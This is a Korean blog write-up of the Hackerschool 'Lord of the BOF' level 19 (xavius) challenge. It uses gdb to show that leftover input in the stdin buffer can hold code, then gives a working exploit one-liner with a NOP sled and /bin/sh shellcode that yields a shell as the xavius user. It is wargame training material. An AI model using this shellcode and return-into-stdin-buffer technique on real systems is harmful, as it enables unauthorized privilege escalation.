ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • LEVEL 19 xavius write-up
    System hacking training/Hackerschool LOB 2018. 8. 12. 18:47
    nightmare -> xavius
    풀이를 하였습니다.

    [nightmare@localhost nightmare]$ cat xavius.c
    /*
            The Lord of the BOF : The Fellowship of the BOF
            - xavius
            - arg
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <dumpcode.h>

    main()
    {
        char buffer[40];
        char *ret_addr;

        // overflow!
        fgets(buffer, 256, stdin);
        printf("%s\n", buffer);

        if(*(buffer+47) == '\xbf')
        {
            printf("stack retbayed you!\n");
            exit(0);
        }

        if(*(buffer+47) == '\x08')
            {
                    printf("binary image retbayed you, too!!\n");
                    exit(0);
            }

        // check if the ret_addr is library function or not
        memcpy(&ret_addr, buffer+44, 4);
        while(memcmp(ret_addr, "\x90\x90", 2) != 0)    // end point of function
        {
            if(*ret_addr == '\xc9'){        // leave
                if(*(ret_addr+1) == '\xc3'){    // ret
                    printf("You cannot use library function!\n");
                    exit(0);
                }
            }
            ret_addr++;
        }

            // stack destroyer
            memset(buffer, 0, 44);
        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
    }

    문제는 다음과 같습니다.
    // overflow! 부분에서 buffer가 40byte로 할당 되었음에도 stdin으로 256byte 입력을 받아 bof가 터집니다.
    그리고 ret공간에 스택과 코드영역으로 return 할 것을 대비하여 그 부분을 막아놨습니다.

    // check if the ret_addr is library function or not 부분에서는 ret_addr에 buffer+44(return address)를 memcpy 해주고 leave, ret 가젯을 검사합니다.
    이로인해서 제가 아는 스택은 전혀 사용을 못하게 됩니다.

    여기서 주목해야 할 점은 fgets() 함수를 이용하여 stdin으로 부터 입력을 256byte 받는다는 점입니다.

    stdin객체 <_IO_2_1_stdin_>은 _IO_FILE type으로 _IO_FILE은 /usr/include/libio.h에 정의되어있는데요.
    살펴보면 다음과 같습니다.

    [nightmare@localhost nightmare]$ cat /usr/include/libio.h

    struct _IO_FILE {
      int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */        -> flag
    #define _IO_file_flags _flags

      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;    /* Current read pointer */             -> 현재 읽어야할 위치
      char* _IO_read_end;    /* End of get area. */                    -> get area의 끝
      char* _IO_read_base;    /* Start of putback+get area. */        -> get area의 시작점
      char* _IO_write_base;    /* Start of put area. */
      char* _IO_write_ptr;    /* Current put pointer. */
      char* _IO_write_end;    /* End of put area. */
                        . . . .

    그렇다면 이 공간을 이용할 수 있는지 알아봐야겠죠?

    [nightmare@localhost tmp]$ gdb -q xavius
    (gdb) set disassembly-flavor intel
    (gdb) disas main
    Dump of assembler code for function main:
    0x8048714 <main>:    push   %ebp
    0x8048715 <main+1>:    mov    %ebp,%esp
    0x8048717 <main+3>:    sub    %esp,44
    0x804871a <main+6>:    mov    %eax,%ds:0x8049a3c
    0x804871f <main+11>:    push   %eax
    0x8048720 <main+12>:    push   0x100
    0x8048725 <main+17>:    lea    %eax,[%ebp-40]
    0x8048728 <main+20>:    push   %eax
    0x8048729 <main+21>:    call   0x8048408 <fgets>
            . . . . . . . .
    (gdb)

    cp로 바이너리를 복사하여 gdb로 main의 어셈블리 코드를 보면 모든 인자를 eax에 복사하여 push하는 것을 볼 수 있는데
    인자값이 가장 먼저 push되는 stdin의 주소가 0x8048a3c라는 것을 알 수 있습니다.

    (gdb) b * 0x8048728
    Breakpoint 1 at 0x8048728
    (gdb) b * 0x8048731
    Breakpoint 2 at 0x8048731
    (gdb) b * 0x8048829
    Breakpoint 3 at 0x8048829

    bp를 fgets() 함수가 호출되기 전,  호출된 후 마지막으로 스택이 모두 정리되었을때의 스택 상태를 보기 위해 leave instruction에 걸어두고
    값이 들어가서 초기화되지 않는것을 확인하면 될것 같습니다.

    (gdb) r
    Starting program: /home/nightmare/tmp/xavius

    Breakpoint 1, 0x8048728 in main ()
    (gdb) x/x 0x8049a3c
    0x8049a3c <stdin@@GLIBC_2.0>:    0x401068c0
    (gdb) x/4wx 0x401068c0
    0x401068c0 <_IO_2_1_stdin_>:    0xfbad2088    0x00000000    0x00000000    0x00000000
    (gdb) c
    Continuing.
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    Breakpoint 2, 0x8048731 in main ()
    (gdb) x/x 0x8049a3c
    0x8049a3c <stdin@@GLIBC_2.0>:    0x401068c0
    (gdb) x/4wx 0x401068c0
    0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288    0x40015065    0x40015065    0x40015000
    (gdb) c
    Continuing.
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


    Program received signal SIGSEGV, Segmentation fault.
    0x40077f72 in memcmp () from /lib/libc.so.6
    (gdb) x/x 0x8049a3c
    0x8049a3c <stdin@@GLIBC_2.0>:    0x401068c0
    (gdb) x/4wx 0x401068c0
    0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288    0x40015065    0x40015065    0x40015000
    (gdb) x/24wx 0x40015000
    0x40015000:    0x41414141    0x41414141    0x41414141    0x41414141
    0x40015010:    0x41414141    0x41414141    0x41414141    0x41414141
    0x40015020:    0x41414141    0x41414141    0x41414141    0x41414141
    0x40015030:    0x41414141    0x41414141    0x41414141    0x41414141
    0x40015040:    0x41414141    0x41414141    0x41414141    0x41414141
    0x40015050:    0x41414141    0x41414141    0x41414141    0x41414141


    사실 _IO_FILE 구조체는 fgets에서 인자로 넘어왔을 뿐이라서 fgets() 와 관련이 없습니다.
    또 초기화 하는 방법이 있지만 이 또한 입력 버퍼 자체를 초기화 하는것이 아니라고 합니다.

    이는 _IO_FILE의 현재 읽어야하는 위치인 char* _IO_read_ptr의 값을 get area의 끝을 나타내는 char* _IO_read_end의 값과 동일하게 하는 것이지 get area 자체를 초기화하지 않는다고 합니다. 
    이런 이유에서 우리가 입력한 A가 스택에 그대로 남아있는것을 알 수 있습니다.
    그렇다면 이곳에 쉘코드를 넣고 return 하면 exploit을 할 수 있을것 같습니다.

    [nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat)|./xavius
    1󿿐h//shh/bin⏓󿲒°
                   ̀
    id
    uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
    my-pass
    euid = 519
    throw me away

    이상 풀이를 마칩니다.
    반응형

    'System hacking training > Hackerschool LOB' 카테고리의 다른 글

    LOB All Clear!  (0) 2018.10.04
    LEVEL 20 death_knight write-up  (0) 2018.10.04
    LEVEL 18 nightmare write-up  (0) 2018.06.27
    LEVEL 17 succubus write-up  (1) 2018.05.17
    LEVEL 16 zombie_assassin write-up  (0) 2018.05.13
Designed by Tistory.